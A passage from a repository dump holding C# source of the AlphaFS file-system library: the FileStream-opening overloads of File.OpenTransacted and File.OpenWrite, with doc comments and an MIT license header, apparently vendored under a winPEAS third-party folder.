name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <returns>\n      ///   An unshared <see cref=\"FileStream\"/> that provides access to the specified file, with the specified mode and access.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access)\n      {\n         return OpenCore(transaction, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the\n      ///   specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share)\n      {\n         return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path, with the specified mode and access.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   An unshared <see cref=\"FileStream\"/> that provides access to the specified file, with the specified mode and access.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">\n      ///   A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents\n      ///   of existing files are retained or overwritten.\n      /// </param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <param name=\"extendedAttributes\">The extended attributes.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access and the\n      ///   specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, access, share, extendedAttributes, null, null, pathFormat);\n      }\n\n      \n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize)\n      {\n         return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"useAsync\">Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the\n      /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be\n      /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods\n      /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the\n      /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using\n      /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without\n      /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync)\n      {\n         return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options)\n      {\n         return OpenCore(transaction, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">The extended attributes specifying additional options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes)\n      {\n         return OpenCore(transaction, path, mode, access, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"useAsync\">Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the\n      /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be\n      /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods\n      /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the\n      /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using\n      /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without\n      /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">The extended attributes specifying additional options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, access, share, extendedAttributes, bufferSize, null, pathFormat);\n      }\n\n      #endregion // Using FileAccess\n\n\n      #region Using FileSystemRights\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options)\n      {\n         return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes)\n      {\n         return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity security)\n      {\n         return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, security, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security)\n      {\n         return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, security, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified creation mode, read/write and sharing permission, and buffer size.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified  creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"options\">A value that specifies additional file options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity security, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, security, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] (Transacted) Opens a <see cref=\"FileStream\"/> on the specified path using the specified  creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A constant that determines how to open or create the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the\n      /// file.</param>\n      /// <param name=\"share\">A constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The\n      /// default buffer size is 4096.</param>\n      /// <param name=\"extendedAttributes\">Extended attributes specifying additional options.</param>\n      /// <param name=\"security\">A value that determines the access control and audit security for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <returns>\n      ///   A <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write\n      ///   access and the specified sharing option.\n      /// </returns>\n      [SecurityCritical]\n      public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security, PathFormat pathFormat)\n      {\n         return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, security, pathFormat);\n      }\n\n      #endregion // Using FileSystemRights\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenWrite.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Opens an existing file or creates a new file for writing.</summary>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <returns>An unshared <see cref=\"FileStream\"/> object on the specified path with <see cref=\"FileAccess.Write\"/> access.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"FileStream\"/>(String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to Write, and the share mode set to None.</remarks>\n      [SecurityCritical]\n      public static FileStream OpenWrite(string path)\n      {\n         return Open(path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Opens an existing file or creates a new file for writing.</summary>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>An unshared <see cref=\"FileStream\"/> object on the specified path with <see cref=\"FileAccess.Write\"/> access.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"FileStream\"/>(String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to Write, and the share mode set to None.</remarks>\n      [SecurityCritical]\n      public static FileStream OpenWrite(string path, PathFormat pathFormat)\n      {\n         return Open(path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenWriteTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Opens an existing file or creates a new file for writing.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <returns>An unshared <see cref=\"FileStream\"/> object on the specified path with <see cref=\"FileAccess.Write\"/> access.</returns>\n      /// <remarks>This method is equivalent to the <see cref=\"FileStream\"/>(String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to 